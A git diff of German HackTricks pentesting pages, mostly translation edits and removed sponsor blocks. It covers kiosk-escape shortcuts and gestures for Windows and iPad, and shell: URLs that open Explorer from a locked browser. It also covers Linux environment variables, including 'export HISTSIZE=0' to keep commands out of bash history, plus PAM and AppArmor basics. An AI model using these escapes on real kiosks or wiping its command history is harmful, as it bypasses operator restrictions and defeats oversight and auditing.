| + ### Tastenkombinationen -* Sticky Keys – Drücken Sie 5 Mal UMSCHALT -* Mouse Keys – UMSCHALT+ALT+NUM-Taste -* Hoher Kontrast – UMSCHALT+ALT+DRUCK -* Umschalttasten – Halten Sie NUM-Taste 5 Sekunden lang gedrückt -* Filtertasten – Halten Sie rechte UMSCHALT 12 Sekunden lang gedrückt +* Sticky Keys – Drücke SHIFT 5 Mal +* Mouse Keys – SHIFT+ALT+NUMLOCK +* Hoher Kontrast – SHIFT+ALT+PRINTSCN +* Toggle Keys – Halte NUMLOCK 5 Sekunden lang gedrückt +* Filter Keys – Halte die rechte SHIFT-Taste 12 Sekunden lang gedrückt * WINDOWS+F1 – Windows-Suche * WINDOWS+D – Desktop anzeigen * WINDOWS+E – Windows Explorer starten * WINDOWS+R – Ausführen -* WINDOWS+U – Bedienungshilfen-Center -* WINDOWS+F – Suche -* UMSCHALT+F10 – Kontextmenü -* STRG+UMSCHALT+ESC – Task-Manager -* STRG+ALT+ENTF – Startbildschirm bei neueren Windows-Versionen -* F1 – Hilfe F3 – Suche +* WINDOWS+U – Eingabehilfen-Center +* WINDOWS+F – Suchen +* SHIFT+F10 – Kontextmenü +* CTRL+SHIFT+ESC – Task-Manager +* CTRL+ALT+DEL – Splashscreen in neueren Windows-Versionen +* F1 – Hilfe F3 – Suchen * F6 – Adressleiste * F11 – Vollbildmodus in Internet Explorer umschalten -* STRG+H – Internet Explorer Verlauf -* STRG+T – Internet Explorer – Neuer Tab -* STRG+N – Internet Explorer – Neue Seite -* STRG+O – Datei öffnen -* STRG+S – Speichern STRG+N – Neuer RDP / Citrix +* CTRL+H – Internet Explorer Verlauf +* CTRL+T – Internet Explorer – Neuer Tab +* CTRL+N – Internet Explorer – Neue Seite +* CTRL+O – Datei öffnen +* CTRL+S – Speichern CTRL+N – Neues RDP / Citrix ### Wischgesten -* Wischen Sie von der linken Seite nach rechts, um alle geöffneten Fenster zu sehen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu; -* Wischen Sie von der rechten Seite nach links, um das Aktionscenter zu öffnen, minimieren Sie die KIOSK-App und greifen Sie direkt auf das gesamte Betriebssystem zu; -* Wischen Sie vom oberen Rand, um die Titelleiste für eine App im Vollbildmodus sichtbar zu machen; -* Wischen Sie von unten nach oben, um die Taskleiste in einer App im Vollbildmodus anzuzeigen. +* Wische von der linken Seite nach rechts, um alle offenen Fenster zu sehen, die KIOSK-App zu minimieren und direkt auf das gesamte Betriebssystem zuzugreifen; +* Wische von der rechten Seite nach links, um das Aktionscenter zu öffnen, die KIOSK-App zu minimieren und direkt auf das gesamte Betriebssystem zuzugreifen; +* Wische von der oberen Kante, um die Titelleiste für eine im Vollbildmodus geöffnete App sichtbar zu machen; +* Wische von unten nach oben, um die Taskleiste in einer Vollbild-App anzuzeigen. ### Internet Explorer Tricks -#### 'Bildsymbolleiste' +#### 'Bildwerkzeugleiste' -Es handelt sich um eine Symbolleiste, die oben links auf dem Bild erscheint, wenn darauf geklickt wird. Sie können Speichern, Drucken, Mailto, "Meine Bilder" im Explorer öffnen. Der Kiosk muss den Internet Explorer verwenden. +Es ist eine Werkzeugleiste, die oben links im Bild erscheint, wenn es angeklickt wird. Du kannst Speichern, Drucken, Mailto, "Meine Bilder" im Explorer öffnen. Der Kiosk muss Internet Explorer verwenden. #### Shell-Protokoll -Geben Sie diese URLs ein, um eine Explorer-Ansicht zu erhalten: +Gib diese URLs ein, um eine Explorer-Ansicht zu erhalten: * `shell:Administrative Tools` * `shell:DocumentsLibrary` @@ -154,12 +163,12 @@ Geben Sie diese URLs ein, um eine Explorer-Ansicht zu erhalten: * `Shell:Windows` * `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Systemsteuerung * `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Mein Computer -* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Meine Netzwerkumgebung +* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Meine Netzwerkplätze * `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer -### Dateierweiterungen anzeigen +### Dateiendungen anzeigen -Überprüfen Sie diese Seite für weitere Informationen: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) +Überprüfe diese Seite für weitere Informationen: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml) ## Browser-Tricks @@ -168,112 +177,113 @@ Backup iKat-Versionen: [http://swin.es/k/](http://swin.es/k/)\ [http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\ -Erstellen Sie einen gemeinsamen Dialog mit JavaScript und greifen Sie auf den Datei-Explorer zu: `document.write('')`\ +Erstelle einen gemeinsamen Dialog mit JavaScript und greife auf den Datei-Explorer zu: `document.write('')`\ Quelle: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0 ## iPad ### Gesten und Tasten -* Wischen Sie mit vier (oder fünf) Fingern nach oben / Doppelklicken Sie auf die Home-Taste: Um die Multitasking-Ansicht anzuzeigen und die App zu wechseln -* Wischen Sie mit vier oder fünf Fingern in eine Richtung: Um zur nächsten/vorherigen App zu wechseln -* Zoomen Sie mit fünf Fingern auf den Bildschirm / Berühren Sie die Home-Taste / Wischen Sie mit einem Finger von unten schnell nach oben: Um auf den Startbildschirm zuzugreifen -* Wischen Sie mit einem Finger von unten etwa 1-2 Zoll nach oben (langsam): Das Dock wird angezeigt -* Wischen Sie mit einem Finger von oben auf dem Display nach unten: Um Ihre Benachrichtigungen anzuzeigen -* Wischen Sie mit einem Finger von oben rechts auf dem Bildschirm nach unten: Um das Steuerzentrum des iPad Pro anzuzeigen -* Wischen Sie mit einem Finger von links auf dem Bildschirm 1-2 Zoll nach rechts: Um die Ansicht für heute anzuzeigen -* Wischen Sie schnell mit einem Finger von der Mitte des Bildschirms nach rechts oder links: Um zur nächsten/vorherigen App zu wechseln -* Drücken und halten Sie die Ein/**Aus**/Standby-Taste in der oberen rechten Ecke des **iPad +** Bewegen Sie den Schieberegler zum **Ausschalten** ganz nach rechts: Zum Ausschalten -* Drücken Sie die Ein/**Aus**/Standby-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Zum erzwingen eines harten Ausschaltens -* Drücken Sie die Ein/**Aus**/Standby-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der unten links auf dem Display angezeigt wird. Drücken Sie beide Tasten gleichzeitig sehr kurz, als ob Sie sie einige Sekunden lang gedrückt halten würden, um einen harten Neustart durchzuführen. +* Wische mit vier (oder fünf) Fingern nach oben / Doppeltippe auf die Home-Taste: Um die Multitasking-Ansicht anzuzeigen und die App zu wechseln +* Wische in eine Richtung mit vier oder fünf Fingern: Um zur nächsten/vorherigen App zu wechseln +* Kneife den Bildschirm mit fünf Fingern / Berühre die Home-Taste / Wische schnell mit 1 Finger von unten nach oben: Um auf die Startseite zuzugreifen +* Wische mit 1 Finger von unten am Bildschirm nur 1-2 Zoll (langsam): Das Dock wird angezeigt +* Wische mit 1 Finger von oben auf dem Display: Um deine Benachrichtigungen anzuzeigen +* Wische mit 1 Finger in die obere rechte Ecke des Bildschirms: Um das Kontrollzentrum des iPad Pro zu sehen +* Wische mit 1 Finger von der linken Seite des Bildschirms 1-2 Zoll: Um die Heute-Ansicht zu sehen +* Wische schnell mit 1 Finger von der Mitte des Bildschirms nach rechts oder links: Um zur nächsten/vorherigen App zu wechseln +* Drücke und halte die Ein-/Aus-/Sleep-Taste in der oberen rechten Ecke des **iPad +** Bewege den Schieberegler **ausschalten** ganz nach rechts: Um auszuschalten +* Drücke die Ein-/Aus-/Sleep-Taste in der oberen rechten Ecke des **iPad und die Home-Taste für einige Sekunden**: Um einen harten Ausschaltvorgang zu erzwingen +* Drücke die Ein-/Aus-/Sleep-Taste in der oberen rechten Ecke des **iPad und die Home-Taste schnell**: Um einen Screenshot zu machen, der in der unteren linken Ecke des Displays angezeigt wird. Drücke beide Tasten gleichzeitig sehr kurz, da du sie einige Sekunden lang gedrückt hältst, wird ein harter Ausschaltvorgang durchgeführt. -### Verknüpfungen +### Tastenkombinationen -Sie sollten eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Hier werden nur Verknüpfungen gezeigt, die beim Verlassen der Anwendung helfen könnten. +Du solltest eine iPad-Tastatur oder einen USB-Tastaturadapter haben. Nur Tastenkombinationen, die beim Verlassen der Anwendung helfen könnten, werden hier angezeigt. | Taste | Name | -| --- | ------------ | +| ----- | ------------ | | ⌘ | Befehl | | ⌥ | Option (Alt) | -| ⇧ | Umschalt | +| ⇧ | Shift | | ↩ | Eingabe | -| ⇥ | Tabulatortaste | +| ⇥ | Tab | | ^ | Steuerung | -| ← | Linke Pfeiltaste | -| → | Rechte Pfeiltaste | -| ↑ | Obere Pfeiltaste | -| ↓ | Untere Pfeiltaste | +| ← | Linker Pfeil | +| → | Rechter Pfeil | +| ↑ | Aufwärtspfeil | +| ↓ | Abwärtspfeil | -#### Systemverknüpfungen +#### System-Tastenkombinationen -Diese Verknüpfungen sind für die visuellen Einstellungen und Soundeinstellungen, abhängig von der Verwendung des iPads. +Diese Tastenkombinationen sind für die visuellen Einstellungen und Toneinstellungen, abhängig von der Nutzung des iPads. -| Verknüpfung | Aktion | -| -------- | ------------------------------------------------------------------------------ | -| F1 | Bildschirm verdunkeln | -| F2 | Bildschirm erhellen | -| F7 | Zurück zum vorherigen Song | -| F8 | Wiedergabe/Pause | -| F9 | Nächster Song | -| F10 | Stummschalten | -| F11 | Lautstärke verringern | -| F12 | Lautstärke erhöhen | -| ⌘ Leertaste | Liste der verfügbaren Sprachen anzeigen; um eine auszuwählen, tippen Sie erneut auf die Leertaste. | +| Tastenkombination | Aktion | +| ----------------- | ------------------------------------------------------------------------------ | +| F1 | Bildschirm dimmen | +| F2 | Bildschirm aufhellen | +| F7 | Einen Song zurück | +| F8 | Abspielen/Pause | +| F9 | Song überspringen | +| F10 | Stummschalten | +| F11 | Lautstärke verringern | +| F12 | Lautstärke erhöhen | +| ⌘ Leertaste | Eine Liste verfügbarer Sprachen anzeigen; um eine auszuwählen, drücke die Leertaste erneut. | #### iPad-Navigation -| Verknüpfung | Aktion | -| -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | Zum Startbildschirm gehen | -| ⌘⇧H (Befehl-Umschalt-H) | Zum Startbildschirm gehen | -| ⌘ (Leertaste) | Spotlight öffnen | -| ⌘⇥ (Befehl-Tabulatortaste) | Liste der zuletzt verwendeten Apps anzeigen | -| ⌘\~ | Zur letzten App gehen | -| ⌘⇧3 (Befehl-Umschalt-3) | Screenshot (erscheint unten links zum Speichern oder Bearbeiten) | -| ⌘⇧4 | Screenshot machen und im Editor öffnen | -| ⌘ gedrückt halten | Liste der für die App verfügbaren Verknüpfungen anzeigen | -| ⌘⌥D (Befehl-Option/Alt-D) | Dock anzeigen | -| ^⌥H (Steuerung-Option-H) | Home-Taste | -| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen | -| ^⌥I (Steuerung-Option-i) | Elementauswahl | -| Escape | Zurück-Taste | -| → (Rechte Pfeiltaste) | Nächstes Element | -| ← (Linke Pfeiltaste) | Vorheriges Element | -| ↑↓ (Obere Pfeiltaste, Untere Pfeiltaste) | Gleichzeitig auf das ausgewählte Element tippen | -| ⌥ ↓ (Option-Untere Pfeiltaste) | Nach unten scrollen | -| ⌥↑ (Option-Obere Pfeiltaste) | Nach oben scrollen | -| ⌥← oder ⌥→ (Option-Linke Pfeiltaste oder Option-Rechte Pfeiltaste) | Nach links oder rechts scrollen | -| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprache ein- oder ausschalten | -| ⌘⇧⇥ (Befehl-Umschalt-Tabulatortaste) | Zur vorherigen App wechseln | -| ⌘⇥ (Befehl-Tabulatortaste) | Zur ursprünglichen App zurückwechseln | -| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren | -#### Safari-Verknüpfungen +| Tastenkombination | Aktion | +| --------------------------------------------------- | ------------------------------------------------------- | +| ⌘H | Gehe zur Startseite | +| ⌘⇧H (Befehl-Shift-H) | Gehe zur Startseite | +| ⌘ (Leertaste) | Spotlight öffnen | +| ⌘⇥ (Befehl-Tab) | Liste der letzten zehn verwendeten Apps | +| ⌘\~ | Gehe zur letzten App | +| ⌘⇧3 (Befehl-Shift-3) | Screenshot (schwebt unten links, um zu speichern oder zu handeln) | +| ⌘⇧4 | Screenshot und öffne ihn im Editor | +| Drücke und halte ⌘ | Liste der verfügbaren Tastenkombinationen für die App | +| ⌘⌥D (Befehl-Option/Alt-D) | Dock anzeigen | +| ^⌥H (Steuerung-Option-H) | Home-Taste | +| ^⌥H H (Steuerung-Option-H-H) | Multitasking-Leiste anzeigen | +| ^⌥I (Steuerung-Option-i) | Elementauswahl | +| Escape | Zurück-Taste | +| → (Rechter Pfeil) | Nächstes Element | +| ← (Linker Pfeil) | Vorheriges Element | +| ↑↓ (Aufwärtspfeil, Abwärtspfeil) | Ausgewähltes Element gleichzeitig antippen | +| ⌥ ↓ (Option-Abwärtspfeil) | Nach unten scrollen | +| ⌥↑ (Option-Aufwärtspfeil) | Nach oben scrollen | +| ⌥← oder ⌥→ (Option-Linker Pfeil oder Option-Rechter Pfeil) | Nach links oder rechts scrollen | +| ^⌥S (Steuerung-Option-S) | VoiceOver-Sprachausgabe ein- oder ausschalten | +| ⌘⇧⇥ (Befehl-Shift-Tab) | Zum vorherigen App wechseln | +| ⌘⇥ (Befehl-Tab) | Zur ursprünglichen App zurückwechseln | +| ←+→, dann Option + ← oder Option+→ | Durch das Dock navigieren | -| Verknüpfung | Aktion | -| ----------------------- | ------------------------------------------------ | -| ⌘L (Befehl-L) | Ort öffnen | -| ⌘T | Neuen Tab öffnen | -| ⌘W | Aktuellen Tab schließen | -| ⌘R | Aktuellen Tab aktualisieren | -| ⌘. | Laden des aktuellen Tabs stoppen | -| ^⇥ | Zum nächsten Tab wechseln | -| ^⇧⇥ (Strg-Umschalt-Tab) | Zum vorherigen Tab wechseln | -| ⌘L | Texteingabe/URL-Feld auswählen, um es zu ändern | -| ⌘⇧T (Befehl-Umschalt-T) | Zuletzt geschlossenen Tab öffnen (kann mehrmals verwendet werden) | -| ⌘\[ | Geht eine Seite zurück in deinem Browserverlauf | -| ⌘] | Geht eine Seite vor in deinem Browserverlauf | -| ⌘⇧R | Leseansicht aktivieren | +#### Safari-Tastenkombinationen -#### Mail-Verknüpfungen +| Tastenkombination | Aktion | +| -------------------------- | ------------------------------------------------ | +| ⌘L (Befehl-L) | Standort öffnen | +| ⌘T | Neuen Tab öffnen | +| ⌘W | Den aktuellen Tab schließen | +| ⌘R | Den aktuellen Tab aktualisieren | +| ⌘. | Das Laden des aktuellen Tabs stoppen | +| ^⇥ | Zum nächsten Tab wechseln | +| ^⇧⇥ (Steuerung-Shift-Tab) | Zum vorherigen Tab wechseln | +| ⌘L | Textfeld/URL-Feld auswählen, um es zu ändern | +| ⌘⇧T (Befehl-Shift-T) | Letzten geschlossenen Tab öffnen (kann mehrmals verwendet werden) | +| ⌘\[ | Gehe eine Seite in deinem Browserverlauf zurück | +| ⌘] | Gehe eine Seite in deinem Browserverlauf vorwärts | +| ⌘⇧R | Reader-Modus aktivieren | -| Verknüpfung | Aktion | -| ----------------------- | ---------------------------- | -| ⌘L | Ort öffnen | -| ⌘T | Neuen Tab öffnen | -| ⌘W | Aktuellen Tab schließen | -| ⌘R | Aktuellen Tab aktualisieren | -| ⌘. | Laden des aktuellen Tabs stoppen | -| ⌘⌥F (Befehl-Option/Alt-F) | Suche in deinem Postfach | +#### Mail-Tastenkombinationen + +| Tastenkombination | Aktion | +| ----------------------------------- | ---------------------------- | +| ⌘L | Standort öffnen | +| ⌘T | Neuen Tab öffnen | +| ⌘W | Den aktuellen Tab schließen | +| ⌘R | Den aktuellen Tab aktualisieren | +| ⌘. | Das Laden des aktuellen Tabs stoppen | +| ⌘⌥F (Befehl-Option/Alt-F) | In deinem Postfach suchen | ## Referenzen @@ -282,29 +292,19 @@ Diese Verknüpfungen sind für die visuellen Einstellungen und Soundeinstellunge * [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) * [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) -#### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. - -Du kannst ihre Website besuchen und ihre Suchmaschine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Lerne & übe AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Support HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichst. +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index e666ba219..41c0aa318 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -15,14 +15,6 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Globale Variablen Die globalen Variablen **werden** von **Kindprozessen** geerbt. @@ -71,7 +63,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https:// * **PS1** – die Standardaufforderung in bash. * **PATH** – speichert den Pfad aller Verzeichnisse, die die Binärdateien enthalten, die du ausführen möchtest, indem du nur den Namen der Datei angibst und nicht den relativen oder absoluten Pfad. * **PWD** – das aktuelle Arbeitsverzeichnis. -* **SHELL** – der Pfad zur aktuellen Befehlszeile (zum Beispiel **/bin/bash**). +* **SHELL** – der Pfad zur aktuellen Befehlszeilen-Shell (zum Beispiel **/bin/bash**). * **TERM** – der aktuelle Terminaltyp (zum Beispiel **xterm**). * **TZ** – deine Zeitzone. * **USER** – dein aktueller Benutzername. @@ -86,7 +78,7 @@ export HISTFILESIZE=0 ``` ### **HISTSIZE** -Ändern Sie **den Wert dieser Variablen auf 0**, damit beim **Beenden Ihrer Sitzung** kein Befehl in die **Historie-Datei** (\~/.bash\_history) hinzugefügt wird. +Ändern Sie **den Wert dieser Variablen auf 0**, damit beim **Beenden Ihrer Sitzung** kein Befehl in die **Historie-Datei** (\~/.bash\_history) aufgenommen wird. ```bash export HISTSIZE=0 ``` @@ -108,7 +100,7 @@ export SSL_CERT_DIR=/path/to/ca-certificates Ändern Sie, wie Ihr Prompt aussieht. -[**Dies ist ein Beispiel**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) +[**Das ist ein Beispiel**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) Root: @@ -126,11 +118,6 @@ Ein Hintergrundjob, ein gestoppter und der letzte Befehl wurde nicht korrekt bee ![](<../.gitbook/assets/image (715).png>) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -138,7 +125,7 @@ Lernen & üben Sie GCP Hacking: -Support HackTricks +Unterstützen Sie HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 5c55d94fd..a5a4651b6 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -15,19 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ### Grundinformationen @@ -64,10 +51,10 @@ Diese Bereiche oder Verwaltungsgruppen umfassen **auth**, **account**, **passwor Kontrollen bestimmen die Reaktion des Moduls auf Erfolg oder Misserfolg und beeinflussen den gesamten Authentifizierungsprozess. Dazu gehören: -* **Required**: Das Scheitern eines erforderlichen Moduls führt letztendlich zum Misserfolg, jedoch erst nachdem alle nachfolgenden Module überprüft wurden. +* **Required**: Das Scheitern eines erforderlichen Moduls führt letztendlich zu einem Misserfolg, jedoch nur nachdem alle nachfolgenden Module überprüft wurden. * **Requisite**: Sofortige Beendigung des Prozesses bei Misserfolg. * **Sufficient**: Erfolg umgeht die restlichen Überprüfungen desselben Bereichs, es sei denn, ein nachfolgendes Modul schlägt fehl. -* **Optional**: Führt nur dann zu einem Misserfolg, wenn es das einzige Modul im Stapel ist. +* **Optional**: Führt nur zu einem Misserfolg, wenn es das einzige Modul im Stapel ist. #### Beispiel-Szenario @@ -77,17 +64,6 @@ In einer Konfiguration mit mehreren Auth-Modulen folgt der Prozess einer strenge * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) -#### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **stealer malwares** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die durch information-stehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index decc448a3..91f13c074 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -1,56 +1,42 @@ # AppArmor {% hint style="success" %} -Lernen Sie und üben Sie AWS-Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen Sie und üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) +## Grundinformationen -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe aufgrund von informationsstehlender Malware zu bekämpfen. - -Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - -## Grundlegende Informationen - -AppArmor ist eine **Kernel-Erweiterung, die darauf ausgelegt ist, die Ressourcen, die Programmen durch programmbezogene Profile zur Verfügung stehen, einzuschränken**, und implementiert effektiv Mandatory Access Control (MAC), indem sie Zugriffssteuerungsattribute direkt an Programme anknüpft, anstatt an Benutzer. Dieses System funktioniert durch **Laden von Profilen in den Kernel**, normalerweise während des Bootvorgangs, und diese Profile geben an, auf welche Ressourcen ein Programm zugreifen kann, wie Netzwerkverbindungen, Raw-Socket-Zugriff und Dateiberechtigungen. +AppArmor ist eine **Kernel-Erweiterung, die entwickelt wurde, um die Ressourcen, die Programmen zur Verfügung stehen, durch programmspezifische Profile einzuschränken**, und implementiert effektiv Mandatory Access Control (MAC), indem Zugriffssteuerungsattribute direkt an Programme anstelle von Benutzern gebunden werden. Dieses System funktioniert, indem es **Profile in den Kernel lädt**, normalerweise beim Booten, und diese Profile bestimmen, auf welche Ressourcen ein Programm zugreifen kann, wie z.B. Netzwerkverbindungen, Rohsocket-Zugriff und Dateiberechtigungen. Es gibt zwei Betriebsmodi für AppArmor-Profile: -* **Durchsetzungsmodus**: In diesem Modus werden die in dem Profil definierten Richtlinien aktiv durchgesetzt, indem Aktionen blockiert werden, die gegen diese Richtlinien verstoßen, und alle Versuche, diese durch Systeme wie syslog oder auditd zu verletzen, protokolliert werden. -* **Beschwerdemodus**: Im Gegensatz zum Durchsetzungsmodus blockiert der Bescherdemodus keine Aktionen, die gegen die Richtlinien des Profils verstoßen. Stattdessen werden diese Versuche als Richtlinienverletzungen protokolliert, ohne Einschränkungen durchzusetzen. +* **Durchsetzungsmodus**: Dieser Modus setzt aktiv die im Profil definierten Richtlinien durch, blockiert Aktionen, die gegen diese Richtlinien verstoßen, und protokolliert alle Versuche, diese zu verletzen, über Systeme wie syslog oder auditd. +* **Beschwerdemodus**: Im Gegensatz zum Durchsetzungsmodus blockiert der Beschwerdemodus keine Aktionen, die gegen die Richtlinien des Profils verstoßen. Stattdessen protokolliert er diese Versuche als Richtlinienverletzungen, ohne Einschränkungen durchzusetzen. ### Komponenten von AppArmor -* **Kernelmodul**: Verantwortlich für die Durchsetzung von Richtlinien. -* **Richtlinien**: Spezifizieren die Regeln und Einschränkungen für das Programmverhalten und den Ressourcenzugriff. +* **Kernelmodul**: Verantwortlich für die Durchsetzung der Richtlinien. +* **Richtlinien**: Legen die Regeln und Einschränkungen für das Verhalten von Programmen und den Zugriff auf Ressourcen fest. * **Parser**: Lädt Richtlinien in den Kernel zur Durchsetzung oder Berichterstattung. -* **Dienstprogramme**: Dies sind Benutzermodusprogramme, die eine Schnittstelle für die Interaktion mit und das Management von AppArmor bereitstellen. +* **Hilfsprogramme**: Dies sind Programme im Benutzermodus, die eine Schnittstelle zur Interaktion mit und Verwaltung von AppArmor bereitstellen. -### Profilpfad +### Profile-Pfad AppArmor-Profile werden normalerweise in _**/etc/apparmor.d/**_ gespeichert.\ -Mit `sudo aa-status` können Sie die Binärdateien auflisten, die durch ein bestimmtes Profil eingeschränkt sind. 